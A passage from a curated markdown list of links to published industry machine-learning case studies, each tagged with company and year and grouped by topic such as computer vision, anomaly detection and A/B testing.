24. [Applying Topic Modeling to Improve Call Center Operations](https://www.youtube.com/watch?v=kzRR8OjF_eI&t=2s) `RICOH` `2020`
25. [WIDeText: A Multimodal Deep Learning Framework](https://medium.com/airbnb-engineering/widetext-a-multimodal-deep-learning-framework-31ce2565880c) `Airbnb` `2020`
26. [Dynaboard: Moving Beyond Accuracy to Holistic Model Evaluation in NLP](https://ai.facebook.com/blog/dynaboard-moving-beyond-accuracy-to-holistic-model-evaluation-in-nlp) ([Code](https://github.com/facebookresearch/dynalab?fbclid=IwAR3qcV7QK2uXm4s4M0XUoQQo4i2DEsDy0LZFKxSQCHhP-3hF6fr2-NDFWX8)) `Facebook` `2021`
27. [How we reduced our text similarity runtime by 99.96%](https://medium.com/data-science-at-microsoft/how-we-reduced-our-text-similarity-runtime-by-99-96-e8e4b4426b35) `Microsoft` `2021`
28. [Textless NLP: Generating expressive speech from raw audio](https://ai.facebook.com/blog/textless-nlp-generating-expressive-speech-from-raw-audio/) [(Part 1)](https://arxiv.org/abs/2102.01192) [(Part 2)](https://arxiv.org/abs/2104.00355) [(Part 3)](https://arxiv.org/abs/2109.03264) [(Code and Pretrained Models)](https://github.com/pytorch/fairseq/tree/master/examples/textless_nlp) `Facebook` `2021`
29. [Grammar Correction as You Type, on Pixel 6](https://ai.googleblog.com/2021/10/grammar-correction-as-you-type-on-pixel.html) `Google` `2021`
30. [Auto-generated Summaries in Google Docs](https://ai.googleblog.com/2022/03/auto-generated-summaries-in-google-docs.html) `Google` `2022`
31. [ML-Enhanced Code Completion Improves Developer Productivity](https://ai.googleblog.com/2022/07/ml-enhanced-code-completion-improves.html) `Google` `2022`
32. [Words All the Way Down — Conversational Sentiment Analysis](https://medium.com/paypal-tech/words-all-the-way-down-conversational-sentiment-analysis-afe0165b84db) `PayPal` `2022`
## Sequence Modelling
1. [Doctor AI: Predicting Clinical Events via Recurrent Neural Networks](https://arxiv.org/abs/1511.05942) ([Paper](https://arxiv.org/pdf/1511.05942.pdf)) `Sutter Health` `2015`
2. [Deep Learning for Understanding Consumer Histories](https://engineering.zalando.com/posts/2016/10/deep-learning-for-understanding-consumer-histories.html) ([Paper](https://doogkong.github.io/2017/papers/paper2.pdf)) `Zalando` `2016`
3. [Using Recurrent Neural Network Models for Early Detection of Heart Failure Onset](https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5391725/) ([Paper](https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5391725/pdf/ocw112.pdf)) `Sutter Health` `2016`
4. [Continual Prediction of Notification Attendance with Classical and Deep Networks](https://arxiv.org/abs/1712.07120) ([Paper](https://arxiv.org/pdf/1712.07120.pdf)) `Telefonica` `2017`
5. [Deep Learning for Electronic Health Records](https://ai.googleblog.com/2018/05/deep-learning-for-electronic-health.html) ([Paper](https://www.nature.com/articles/s41746-018-0029-1.pdf)) `Google` `2018`
6. [Practice on Long Sequential User Behavior Modeling for Click-Through Rate Prediction](https://arxiv.org/abs/1905.09248) ([Paper](https://arxiv.org/pdf/1905.09248.pdf))`Alibaba` `2019`
7. [Search-based User Interest Modeling with Sequential Behavior Data for CTR Prediction](https://arxiv.org/abs/2006.05639) ([Paper](https://arxiv.org/pdf/2006.05639.pdf)) `Alibaba` `2020`
8. [How Duolingo uses AI in every part of its app](https://venturebeat.com/2020/08/18/how-duolingo-uses-ai-in-every-part-of-its-app/) `Duolingo` `2020`
9. [Leveraging Online Social Interactions For Enhancing Integrity at Facebook](https://research.fb.com/blog/2020/08/leveraging-online-social-interactions-for-enhancing-integrity-at-facebook/) ([Paper](https://research.fb.com/wp-content/uploads/2020/08/TIES-Temporal-Interaction-Embeddings-For-Enhancing-Social-Media-Integrity-At-Facebook.pdf), [Video](https://crossminds.ai/video/5f3369780576dd25aef288cf/)) `Facebook` `2020`
10. [Using deep learning to detect abusive sequences of member activity](https://engineering.linkedin.com/blog/2021/using-deep-learning-to-detect-abusive-sequences-of-member-activi) ([Video](https://exchange.scale.com/public/videos/using-deep-learning-to-detect-abusive-sequences-of-member-activity-on-linkedin)) `LinkedIn` `2021`
## Computer Vision
1. [Creating a Modern OCR Pipeline Using Computer Vision and Deep Learning](https://dropbox.tech/machine-learning/creating-a-modern-ocr-pipeline-using-computer-vision-and-deep-learning) `Dropbox` `2017`
2. [Categorizing Listing Photos at Airbnb](https://medium.com/airbnb-engineering/categorizing-listing-photos-at-airbnb-f9483f3ab7e3) `Airbnb` `2018`
3. [Amenity Detection and Beyond — New Frontiers of Computer Vision at Airbnb](https://medium.com/airbnb-engineering/amenity-detection-and-beyond-new-frontiers-of-computer-vision-at-airbnb-144a4441b72e) `Airbnb` `2019`
4. [How we Improved Computer Vision Metrics by More Than 5% Only by Cleaning Labelling Errors](https://deepomatic.com/en/how-we-improved-computer-vision-metrics-by-more-than-5-percent-only-by-cleaning-labelling-errors/) `Deepomatic`
5. [Making machines recognize and transcribe conversations in meetings using audio and video](https://www.microsoft.com/en-us/research/blog/making-machines-recognize-and-transcribe-conversations-in-meetings-using-audio-and-video/) `Microsoft` `2019`
6. [Powered by AI: Advancing product understanding and building new shopping experiences](https://ai.facebook.com/blog/powered-by-ai-advancing-product-understanding-and-building-new-shopping-experiences/) `Facebook` `2020`
7. [A Neural Weather Model for Eight-Hour Precipitation Forecasting](https://ai.googleblog.com/2020/03/a-neural-weather-model-for-eight-hour.html) ([Paper](https://arxiv.org/pdf/2003.12140.pdf)) `Google` `2020`
8. [Machine Learning-based Damage Assessment for Disaster Relief](https://ai.googleblog.com/2020/06/machine-learning-based-damage.html) ([Paper](https://arxiv.org/pdf/1910.06444.pdf)) `Google` `2020`
9. [RepNet: Counting Repetitions in Videos](https://ai.googleblog.com/2020/06/repnet-counting-repetitions-in-videos.html) ([Paper](https://openaccess.thecvf.com/content_CVPR_2020/papers/Dwibedi_Counting_Out_Time_Class_Agnostic_Video_Repetition_Counting_in_the_CVPR_2020_paper.pdf)) `Google` `2020`
10. [Converting Text to Images for Product Discovery](https://www.amazon.science/blog/converting-text-to-images-for-product-discovery) ([Paper](https://assets.amazon.science/4c/76/5830542547b7a11089ce3af943b4/scipub-972.pdf)) `Amazon` `2020`
11. [How Disney Uses PyTorch for Animated Character Recognition](https://medium.com/pytorch/how-disney-uses-pytorch-for-animated-character-recognition-a1722a182627) `Disney` `2020`
12. [Image Captioning as an Assistive Technology](https://www.ibm.com/blogs/research/2020/07/image-captioning-assistive-technology/) ([Video](https://ivc.ischool.utexas.edu/~yz9244/VizWiz_workshop/videos/MMTeam-oral.mp4)) `IBM` `2020`
13. [AI for AG: Production machine learning for agriculture](https://medium.com/pytorch/ai-for-ag-production-machine-learning-for-agriculture-e8cfdb9849a1) `Blue River` `2020`
14. [AI for Full-Self Driving at Tesla](https://youtu.be/hx7BXih7zx8?t=513) `Tesla` `2020`
15. [On-device Supermarket Product Recognition](https://ai.googleblog.com/2020/07/on-device-supermarket-product.html) `Google` `2020`
16. [Using Machine Learning to Detect Deficient Coverage in Colonoscopy Screenings](https://ai.googleblog.com/2020/08/using-machine-learning-to-detect.html) ([Paper](https://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=9097918)) `Google` `2020`
17. [Shop The Look: Building a Large Scale Visual Shopping System at Pinterest](https://dl.acm.org/doi/abs/10.1145/3394486.3403372) ([Paper](https://dl.acm.org/doi/pdf/10.1145/3394486.3403372), [Video](https://crossminds.ai/video/5f3369790576dd25aef288d7/)) `Pinterest` `2020`
18. [Developing Real-Time, Automatic Sign Language Detection for Video Conferencing](https://ai.googleblog.com/2020/10/developing-real-time-automatic-sign.html) ([Paper](https://storage.googleapis.com/pub-tools-public-publication-data/pdf/2eaf0d18ec6bef00d7dd88f39dd4f9ff13eeeeb2.pdf)) `Google` `2020`
19. [Vision-based Price Suggestion for Online Second-hand Items](https://arxiv.org/abs/2012.06009) ([Paper](https://arxiv.org/pdf/2012.06009.pdf)) `Alibaba` `2020`
20. [New AI Research to Help Predict COVID-19 Resource Needs From X-rays](https://ai.facebook.com/blog/new-ai-research-to-help-predict-covid-19-resource-needs-from-a-series-of-x-rays/) ([Paper](https://arxiv.org/pdf/2101.04909.pdf), [Model](https://github.com/facebookresearch/CovidPrognosis)) `Facebook` `2021`
21. [An Efficient Training Approach for Very Large Scale Face Recognition](https://arxiv.org/abs/2105.10375) ([Paper](https://arxiv.org/pdf/2105.10375)) `Alibaba` `2021`
22. [Identifying Document Types at Scribd](https://tech.scribd.com/blog/2021/identifying-document-types.html) `Scribd` `2021`
23. [Semi-Supervised Visual Representation Learning for Fashion Compatibility](https://arxiv.org/pdf/2109.08052.pdf) ([Paper](https://arxiv.org/pdf/2109.08052.pdf)) `Walmart` `2021`
24. [Recognizing People in Photos Through Private On-Device Machine Learning](https://machinelearning.apple.com/research/recognizing-people-photos) `Apple` `2021`
25. [DeepFusion: Lidar-Camera Deep Fusion for Multi-Modal 3D Object Detection](https://arxiv.org/pdf/2203.08195.pdf) `Google` `2022`
26. [Contrastive language and vision learning of general fashion concepts](https://www.nature.com/articles/s41598-022-23052-9) ([Paper](https://www.nature.com/articles/s41598-022-23052-9.pdf))`Coveo` `2022`
27. [Leveraging Computer Vision for Search Ranking](https://arize.com/resource/bazaarvoice-leveraging-computer-vision-models-for-search-ranking/) `BazaarVoice` `2023`
## Reinforcement Learning
1. [Deep Reinforcement Learning for Sponsored Search Real-time Bidding](https://arxiv.org/abs/1803.00259) ([Paper](https://arxiv.org/pdf/1803.00259.pdf)) `Alibaba` `2018`
2. [Budget Constrained Bidding by Model-free Reinforcement Learning in Display Advertising](https://arxiv.org/abs/1802.08365) ([Paper](https://arxiv.org/pdf/1802.08365.pdf)) `Alibaba` `2018`
3. [Reinforcement Learning for On-Demand Logistics](https://doordash.engineering/2018/09/10/reinforcement-learning-for-on-demand-logistics/) `DoorDash` `2018`
4. [Reinforcement Learning to Rank in E-Commerce Search Engine](https://arxiv.org/abs/1803.00710) ([Paper](https://arxiv.org/pdf/1803.00710.pdf)) `Alibaba` `2018`
5. [Dynamic Pricing on E-commerce Platform with Deep Reinforcement Learning](https://arxiv.org/abs/1912.02572) ([Paper](https://arxiv.org/pdf/1912.02572.pdf)) `Alibaba` `2019`
6. [Productionizing Deep Reinforcement Learning with Spark and MLflow](https://databricks.com/session_na20/productionizing-deep-reinforcement-learning-with-spark-and-mlflow) `Zynga` `2020`
7. [Deep Reinforcement Learning in Production Part1](https://towardsdatascience.com/deep-reinforcement-learning-in-production-7e1e63471e2) [Part 2](https://towardsdatascience.com/deep-reinforcement-learning-in-production-part-2-personalizing-user-notifications-812a68ce2355) `Zynga` `2020`
8. [Building AI Trading Systems](https://dennybritz.com/blog/ai-trading/) `Denny Britz` `2020`
9. [Shifting Consumption towards Diverse content via Reinforcement Learning](https://research.atspotify.com/shifting-consumption-towards-diverse-content-via-reinforcement-learning/) ([Paper](https://dl.acm.org/doi/10.1145/3437963.3441775)) `Spotify` `2022`
10. [Bandits for Online Calibration: An Application to Content Moderation on Social Media Platforms](https://arxiv.org/abs/2211.06516) `Meta` `2022`
11. [How to Optimise Rankings with Cascade Bandits](https://medium.com/expedia-group-tech/how-to-optimise-rankings-with-cascade-bandits-5d92dfa0f16b) `Expedia` `2022`
12. [Selecting the Best Image for Each Merchant Using Exploration and Machine Learning](https://doordash.engineering/2023/01/04/selecting-the-best-image-for-each-merchant-using-exploration-and-machine-learning/) `DoorDash` `2023`
## Anomaly Detection
1. [Detecting Performance Anomalies in External Firmware Deployments](https://netflixtechblog.com/detecting-performance-anomalies-in-external-firmware-deployments-ed41b1bfcf46) `Netflix` `2019`
2. [Detecting and Preventing Abuse on LinkedIn using Isolation Forests](https://engineering.linkedin.com/blog/2019/isolation-forest) ([Code](https://github.com/linkedin/isolation-forest)) `LinkedIn` `2019`
3. [Deep Anomaly Detection with Spark and Tensorflow](https://databricks.com/session_eu19/deep-anomaly-detection-from-research-to-production-leveraging-spark-and-tensorflow) [(Hopsworks Video](https://www.youtube.com/watch?v=TgXVU8DSyCQ)) `Swedbank`, `Hopsworks` `2019`
4. [Preventing Abuse Using Unsupervised Learning](https://databricks.com/session_na20/preventing-abuse-using-unsupervised-learning) `LinkedIn` `2020`
5. [The Technology Behind Fighting Harassment on LinkedIn](https://engineering.linkedin.com/blog/2020/fighting-harassment) `LinkedIn` `2020`
6. [Uncovering Insurance Fraud Conspiracy with Network Learning](https://arxiv.org/abs/2002.12789) ([Paper](https://arxiv.org/pdf/2002.12789.pdf)) `Ant Financial` `2020`
7. [How Does Spam Protection Work on Stack Exchange?](https://stackoverflow.blog/2020/06/25/how-does-spam-protection-work-on-stack-exchange/) `Stack Exchange` `2020`
8. [Auto Content Moderation in C2C e-Commerce](https://www.usenix.org/conference/opml20/presentation/ueta) `Mercari` `2020`
9. [Blocking Slack Invite Spam With Machine Learning](https://slack.engineering/blocking-slack-invite-spam-with-machine-learning/) `Slack` `2020`
10. [Cloudflare Bot Management: Machine Learning and More](https://blog.cloudflare.com/cloudflare-bot-management-machine-learning-and-more/) `Cloudflare` `2020`
11. [Anomalies in Oil Temperature Variations in a Tunnel Boring Machine](https://www.youtube.com/watch?v=YV_uLLhPRAk) `SENER` `2020`
12. [Using Anomaly Detection to Monitor Low-Risk Bank Customers](https://www.youtube.com/watch?v=MExokMM_Bp4&t=3s) `Rabobank` `2020`
13. [Fighting fraud with Triplet Loss](https://tech.olx.com/fighting-fraud-with-triplet-loss-86e5f79c7a3e) `OLX Group` `2020`
14. [Facebook is Now Using AI to Sort Content for Quicker Moderation](https://www.theverge.com/2020/11/13/21562596/facebook-ai-moderation) ([Alternative](https://venturebeat.com/2020/11/13/facebooks-redoubled-ai-efforts-wont-stop-the-spread-of-harmful-content/)) `Facebook` `2020`
15. How AI is getting better at detecting hate speech [Part 1](https://ai.facebook.com/blog/how-ai-is-getting-better-at-detecting-hate-speech/), [Part 2](https://ai.facebook.com/blog/heres-how-were-using-ai-to-help-detect-misinformation/), [Part 3](https://ai.facebook.com/blog/training-ai-to-detect-hate-speech-in-the-real-world/), [Part 4](https://ai.facebook.com/blog/how-facebook-uses-super-efficient-ai-models-to-detect-hate-speech/) `Facebook` `2020`
16. [Using deep learning to detect abusive sequences of member activity](https://engineering.linkedin.com/blog/2021/using-deep-learning-to-detect-abusive-sequences-of-member-activi) ([Video](https://exchange.scale.com/public/videos/using-deep-learning-to-detect-abusive-sequences-of-member-activity-on-linkedin)) `LinkedIn` `2021`
17. [Project RADAR: Intelligent Early Fraud Detection System with Humans in the Loop](https://eng.uber.com/project-radar-intelligent-early-fraud-detection/) `Uber` `2022`
18. [Graph for Fraud Detection](https://engineering.grab.com/graph-for-fraud-detection) `Grab` `2022`
19. [Bandits for Online Calibration: An Application to Content Moderation on Social Media Platforms](https://arxiv.org/abs/2211.06516) `Meta` `2022`
20. [Evolving our machine learning to stop mobile bots](https://blog.cloudflare.com/machine-learning-mobile-traffic-bots/) `Cloudflare` `2022`
21. [Improving the accuracy of our machine learning WAF using data augmentation and sampling](https://blog.cloudflare.com/data-generation-and-sampling-strategies/) `Cloudflare` `2022`
22. [Machine Learning for Fraud Detection in Streaming Services](https://netflixtechblog.com/machine-learning-for-fraud-detection-in-streaming-services-b0b4ef3be3f6) `Netflix` `2022`
23. [Pricing at Lyft](https://eng.lyft.com/pricing-at-lyft-8a4022065f8b) `Lyft` `2022`
## Graph
1. [Building The LinkedIn Knowledge Graph](https://engineering.linkedin.com/blog/2016/10/building-the-linkedin-knowledge-graph) `LinkedIn` `2016`
2. [Scaling Knowledge Access and Retrieval at Airbnb](https://medium.com/airbnb-engineering/scaling-knowledge-access-and-retrieval-at-airbnb-665b6ba21e95) `Airbnb` `2018`
3. [Graph Convolutional Neural Networks for Web-Scale Recommender Systems](https://arxiv.org/abs/1806.01973) ([Paper](https://arxiv.org/pdf/1806.01973.pdf))`Pinterest` `2018`
4. [Food Discovery with Uber Eats: Using Graph Learning to Power Recommendations](https://eng.uber.com/uber-eats-graph-learning/) `Uber` `2019`
5. [AliGraph: A Comprehensive Graph Neural Network Platform](https://arxiv.org/abs/1902.08730) ([Paper](https://arxiv.org/pdf/1902.08730.pdf)) `Alibaba` `2019`
6. [Contextualizing Airbnb by Building Knowledge Graph](https://medium.com/airbnb-engineering/contextualizing-airbnb-by-building-knowledge-graph-b7077e268d5a) `Airbnb` `2019`
7. [Retail Graph — Walmart’s Product Knowledge Graph](https://medium.com/walmartlabs/retail-graph-walmarts-product-knowledge-graph-6ef7357963bc) `Walmart` `2020`
8. [Traffic Prediction with Advanced Graph Neural Networks](https://deepmind.com/blog/article/traffic-prediction-with-advanced-graph-neural-networks) `DeepMind` `2020`
9. [SimClusters: Community-Based Representations for Recommendations](https://dl.acm.org/doi/10.1145/3394486.3403370) ([Paper](https://dl.acm.org/doi/pdf/10.1145/3394486.3403370), [Video](https://crossminds.ai/video/5f3369790576dd25aef288d5/)) `Twitter` `2020`
10. [Metapaths guided Neighbors aggregated Network for Heterogeneous Graph Reasoning](https://arxiv.org/abs/2103.06474) ([Paper](https://arxiv.org/pdf/2103.06474.pdf)) `Alibaba` `2021`
11. [Graph Intention Network for Click-through Rate Prediction in Sponsored Search](https://arxiv.org/abs/2103.16164) ([Paper](https://arxiv.org/pdf/2103.16164.pdf)) `Alibaba` `2021`
12. [JEL: Applying End-to-End Neural Entity Linking in JPMorgan Chase](https://ojs.aaai.org/index.php/AAAI/article/view/17796) ([Paper](https://www.aaai.org/AAAI21Papers/IAAI-21.DingW.pdf)) `JPMorgan Chase` `2021`
13. [How AWS uses graph neural networks to meet customer needs](https://www.amazon.science/blog/how-aws-uses-graph-neural-networks-to-meet-customer-needs) `Amazon` `2022`
14. [Graph for Fraud Detection](https://engineering.grab.com/graph-for-fraud-detection) `Grab` `2022`
## Optimization
1. [Matchmaking in Lyft Line (Part 1)](https://eng.lyft.com/matchmaking-in-lyft-line-9c2635fe62c4) [(Part 2)](https://eng.lyft.com/matchmaking-in-lyft-line-691a1a32a008) [(Part 3)](https://eng.lyft.com/matchmaking-in-lyft-line-part-3-d8f9497c0e51) `Lyft` `2016`
2. [The Data and Science behind GrabShare Carpooling](https://ieeexplore.ieee.org/document/8259801) [(Part 1)](https://engineering.grab.com/the-data-and-science-behind-grabshare-part-i) (**PAPER NEEDED**) `Grab` `2017`
3. [How Trip Inferences and Machine Learning Optimize Delivery Times on Uber Eats](https://eng.uber.com/uber-eats-trip-optimization/) `Uber` `2018`
4. [Next-Generation Optimization for Dasher Dispatch at DoorDash](https://doordash.engineering/2020/02/28/next-generation-optimization-for-dasher-dispatch-at-doordash/) `DoorDash` `2020`
5. [Optimization of Passengers Waiting Time in Elevators Using Machine Learning](https://www.youtube.com/watch?v=vXndCC89BCw&t=4s) `Thyssen Krupp AG` `2020`
6. [Think Out of The Package: Recommending Package Types for E-commerce Shipments](https://www.amazon.science/publications/think-out-of-the-package-recommending-package-types-for-e-commerce-shipments) ([Paper](https://assets.amazon.science/0c/6c/9d0986b94bef92d148f0ac0da1ea/think-out-of-the-package-recommending-package-types-for-e-commerce-shipments.pdf)) `Amazon` `2020`
7. [Optimizing DoorDash’s Marketing Spend with Machine Learning](https://doordash.engineering/2020/07/31/optimizing-marketing-spend-with-ml/) `DoorDash` `2020`
8. [Using learning-to-rank to precisely locate where to deliver packages](https://www.amazon.science/blog/using-learning-to-rank-to-precisely-locate-where-to-deliver-packages) ([Paper](https://assets.amazon.science/69/8d/2249945a4e10ba8fc758f7523b0c/getting-your-package-to-the-right-place-supervised-machine-learning-for-geolocation.pdf))`Amazon` `2021`
## Information Extraction
1. [Unsupervised Extraction of Attributes and Their Values from Product Description](https://www.aclweb.org/anthology/I13-1190/) ([Paper](https://www.aclweb.org/anthology/I13-1190.pdf)) `Rakuten` `2013`
2. [Using Machine Learning to Index Text from Billions of Images](https://dropbox.tech/machine-learning/using-machine-learning-to-index-text-from-billions-of-images) `Dropbox` `2018`
3. [Extracting Structured Data from Templatic Documents](https://ai.googleblog.com/2020/06/extracting-structured-data-from.html) ([Paper](https://www.aclweb.org/anthology/I13-1190.pdf)) `Google` `2020`
4. [AutoKnow: self-driving knowledge collection for products of thousands of types](https://www.amazon.science/publications/autoknow-self-driving-knowledge-collection-for-products-of-thousands-of-types) ([Paper](https://arxiv.org/pdf/2006.13473.pdf), [Video](https://crossminds.ai/video/5f3369730576dd25aef288a6/)) `Amazon` `2020`
5. [One-shot Text Labeling using Attention and Belief Propagation for Information Extraction](https://arxiv.org/abs/2009.04153) ([Paper](https://arxiv.org/pdf/2009.04153.pdf)) `Alibaba` `2020`
6. [Information Extraction from Receipts with Graph Convolutional Networks](https://nanonets.com/blog/information-extraction-graph-convolutional-networks/) `Nanonets` `2021`
## Weak Supervision
1. [Snorkel DryBell: A Case Study in Deploying Weak Supervision at Industrial Scale](https://dl.acm.org/doi/abs/10.1145/3299869.3314036) ([Paper](https://dl.acm.org/doi/pdf/10.1145/3299869.3314036)) `Google` `2019`
2. [Osprey: Weak Supervision of Imbalanced Extraction Problems without Code](https://dl.acm.org/doi/abs/10.1145/3329486.3329492) ([Paper](https://ajratner.github.io/assets/papers/Osprey_DEEM.pdf)) `Intel` `2019`
3. [Overton: A Data System for Monitoring and Improving Machine-Learned Products](https://arxiv.org/abs/1909.05372) ([Paper](https://arxiv.org/pdf/1909.05372.pdf)) `Apple` `2019`
4. [Bootstrapping Conversational Agents with Weak Supervision](https://www.aaai.org/ojs/index.php/AAAI/article/view/5011) ([Paper](https://arxiv.org/pdf/1812.06176.pdf)) `IBM` `2019`
## Generation
1. [Better Language Models and Their Implications](https://openai.com/blog/better-language-models/) ([Paper](https://cdn.openai.com/better-language-models/language_models_are_unsupervised_multitask_learners.pdf))`OpenAI` `2019`
2. [Image GPT](https://openai.com/blog/image-gpt/) ([Paper](https://cdn.openai.com/papers/Generative_Pretraining_from_Pixels_V2.pdf), [Code](https://github.com/openai/image-gpt)) `OpenAI` `2019`
3. [Language Models are Few-Shot Learners](https://arxiv.org/abs/2005.14165) ([Paper](https://arxiv.org/pdf/2005.14165.pdf)) ([GPT-3 Blog post](https://openai.com/blog/openai-api/)) `OpenAI` `2020`
4. [Deep Learned Super Resolution for Feature Film Production](https://graphics.pixar.com/library/SuperResolution/) ([Paper](https://graphics.pixar.com/library/SuperResolution/paper.pdf)) `Pixar` `2020`
5. [Unit Test Case Generation with Transformers](https://arxiv.org/pdf/2009.05617.pdf) `Microsoft` `2021`
## Audio
1. [Improving On-Device Speech Recognition with VoiceFilter-Lite](https://ai.googleblog.com/2020/11/improving-on-device-speech-recognition.html) ([Paper](https://arxiv.org/pdf/2009.04323.pdf))`Google` `2020`
2. [The Machine Learning Behind Hum to Search](https://ai.googleblog.com/2020/11/the-machine-learning-behind-hum-to.html) `Google` `2020`
## Privacy-preserving Machine Learning
1. [Federated Learning: Collaborative Machine Learning without Centralized Training Data](https://ai.googleblog.com/2017/04/federated-learning-collaborative.html) ([Paper](https://arxiv.org/pdf/1602.05629)) `Google` `2017`
2. [Federated Learning with Formal Differential Privacy Guarantees](https://ai.googleblog.com/2022/02/federated-learning-with-formal.html) ([Paper](https://arxiv.org/pdf/2103.00039)) `Google` `2022`
3. [MPC-based machine learning: Achieving end-to-end privacy-preserving machine learning](https://research.facebook.com/blog/2022/10/mpc-based-machine-learning-achieving-end-to-end-privacy-preserving-machine-learning/) ([Paper](https://research.facebook.com/file/455681589729383/Private-Computation-Framework-2.0-White-Paper.pdf)) `Facebook` `2022`
## Validation and A/B Testing
1. [Overlapping Experiment Infrastructure: More, Better, Faster Experimentation](https://research.google/pubs/pub36500/) ([Paper](https://storage.googleapis.com/pub-tools-public-publication-data/pdf/36500.pdf)) `Google` `2010`
2. [The Reusable Holdout: Preserving Validity in Adaptive Data Analysis](https://ai.googleblog.com/2015/08/the-reusable-holdout-preserving.html) ([Paper](https://science.sciencemag.org/content/sci/349/6248/636.full.pdf)) `Google` `2015`
3. [Twitter Experimentation: Technical Overview](https://blog.twitter.com/engineering/en_us/a/2015/twitter-experimentation-technical-overview.html) `Twitter` `2015`
4. [It’s All A/Bout Testing: The Netflix Experimentation Platform](https://netflixtechblog.com/its-all-a-bout-testing-the-netflix-experimentation-platform-4e1ca458c15) `Netflix` `2016`
5. [Building Pinterest’s A/B Testing Platform](https://medium.com/pinterest-engineering/building-pinterests-a-b-testing-platform-ab4934ace9f4) `Pinterest` `2016`
6. [Experimenting to Solve Cramming](https://blog.twitter.com/engineering/en_us/topics/insights/2017/Experimenting-To-Solve-Cramming.html) `Twitter` `2017`
7. [Building an Intelligent Experimentation Platform with Uber Engineering](https://eng.uber.com/experimentation-platform/) `Uber` `2017`
8. [Scaling Airbnb’s Experimentation Platform](https://medium.com/airbnb-engineering/https-medium-com-jonathan-parks-scaling-erf-23fd17c91166) `Airbnb` `2017`
9. [Meet Wasabi, an Open Source A/B Testing Platform](https://www.intuit.com/blog/technology/engineering/meet-wasabi-an-open-source-ab-testing-platform/) ([Code](https://github.com/intuit/wasabi)) `Intuit` `2017`
10. [Analyzing Experiment Outcomes: Beyond Average Treatment Effects](https://eng.uber.com/analyzing-experiment-outcomes/) `Uber` `2018`
11. [Under the Hood of Uber’s Experimentation Platform](https://eng.uber.com/xp/) `Uber` `2018`
12. [Constrained Bayesian Optimization with Noisy Experiments](https://research.fb.com/publications/constrained-bayesian-optimization-with-noisy-experiments/) ([Paper](https://arxiv.org/pdf/1706.07094.pdf)) `Facebook` `2018`
13. [Reliable and Scalable Feature Toggles and A/B Testing SDK at Grab](https://engineering.grab.com/feature-toggles-ab-testing) `Grab` `2018`
14. [Modeling Conversion Rates and Saving Millions Using Kaplan-Meier and Gamma Distributions](https://better.engineering/modeling-conversion-rates-and-saving-millions-of-dollars-using-kaplan-meier-and-gamma-distributions/) ([Code](https://github.com/better/convoys)) `Better` `2019`
15. [Detecting Interference: An A/B Test of A/B Tests](https://engineering.linkedin.com/blog/2019/06/detecting-interference--an-a-b-test-of-a-b-tests) `LinkedIn` `2019`
16. [Announcing a New Framework for Designing Optimal Experiments with Pyro](https://eng.uber.com/oed-pyro-release/) ([Paper](https://papers.nips.cc/paper/9553-variational-bayesian-optimal-experimental-design.pdf)) ([Paper](https://arxiv.org/pdf/1911.00294.pdf)) `Uber` `2020`
17. [Enabling 10x More Experiments with Traveloka Experiment Platform](https://medium.com/traveloka-engineering/enabling-10x-more-experiments-with-traveloka-experiment-platform-8cea13e952c) `Traveloka` `2020`
18. [Large Scale Experimentation at Stitch Fix](https://multithreaded.stitchfix.com/blog/2020/07/07/large-scale-experimentation/) ([Paper](http://proceedings.mlr.press/v89/schmit19a/schmit19a.pdf)) `Stitch Fix` `2020`
19. [Multi-Armed Bandits and the Stitch Fix Experimentation Platform](https://multithreaded.stitchfix.com/blog/2020/08/05/bandits/) `Stitch Fix` `2020`
20. [Experimentation with Resource Constraints](https://multithreaded.stitchfix.com/blog/2020/11/18/virtual-warehouse/) `Stitch Fix` `2020`
21. [Computational Causal Inference at Netflix](https://netflixtechblog.com/computational-causal-inference-at-netflix-293591691c62) ([Paper](https://arxiv.org/pdf/2007.10979.pdf)) `Netflix` `2020`
22. [Key Challenges with Quasi Experiments at Netflix](https://netflixtechblog.com/key-challenges-with-quasi-experiments-at-netflix-89b4f234b852) `Netflix` `2020`
23. [Making the LinkedIn experimentation engine 20x faster](https://engineering.linkedin.com/blog/2020/making-the-linkedin-experimentation-engine-20x-faster) `LinkedIn` `2020`
24. [Our Evolution Towards T-REX: The Prehistory of Experimentation Infrastructure at LinkedIn](https://engineering.linkedin.com/blog/2020/our-evolution-towards-t-rex--the-prehistory-of-experimentation-i) `LinkedIn` `2020`
25. [How to Use Quasi-experiments and Counterfactuals to Build Great Products](https://engineering.shopify.com/blogs/engineering/using-quasi-experiments-counterfactuals) `Shopify` `2020`
26. [Improving Experimental Power through Control Using Predictions as Covariate](https://doordash.engineering/2020/06/08/improving-experimental-power-through-control-using-predictions-as-covariate-cupac/) `DoorDash` `2020`
27. [Supporting Rapid Product Iteration with an Experimentation Analysis Platform](https://doordash.engineering/2020/09/09/experimentation-analysis-platform-mvp/) `DoorDash` `2020`
28. [Improving Online Experiment Capacity by 4X with Parallelization and Increased Sensitivity](https://doordash.engineering/2020/10/07/improving-experiment-capacity-by-4x/) `DoorDash` `2020`
29. [Leveraging Causal Modeling to Get More Value from Flat Experiment Results](https://doordash.engineering/2020/09/18/causal-modeling-to-get-more-value-from-flat-experiment-results/) `DoorDash` `2020`
30. [Iterating Real-time Assignment Algorithms Through Experimentation](https://doordash.engineering/2020/12/08/optimizing-real-time-algorithms-experimentation/) `DoorDash` `2020`
31. [Spotify’s New Experimentation Platform (Part 1)](https://engineering.atspotify.com/2020/10/29/spotifys-new-experimentation-platform-part-1/) [(Part 2)](https://engineering.atspotify.com/2020/11/02/spotifys-new-experimentation-platform-part-2/) `Spotify` `2020`
32. [Interpreting A/B Test Results: False Positives and Statistical Significance](https://netflixtechblog.com/interpreting-a-b-test-results-false-positives-and-statistical-significance-c1522d0db27a) `Netflix` `2021`
33. [Interpreting A/B Test Results: False Negatives and Power](https://netflixtechblog.com/interpreting-a-b-test-results-false-negatives-and-power-6943995cf3a8) `Netflix` `2021`
34. [Running Experiments with Google Adwords for Campaign Optimization](https://doordash.engineering/2021/02/05/google-adwords-campaign-optimization/) `DoorDash` `2021`
35. [The 4 Principles DoorDash Used to Increase Its Logistics Experiment Capacity by 1000%](https://doordash.engineering/2021/09/21/the-4-principles-doordash-used-to-increase-its-logistics-experiment-capacity-by-1000/) `DoorDash` `2021`
36. [Experimentation Platform at Zalando: Part 1 - Evolution](https://engineering.zalando.com/posts/2021/01/experimentation-platform-part1.html) `Zalando` `2021`
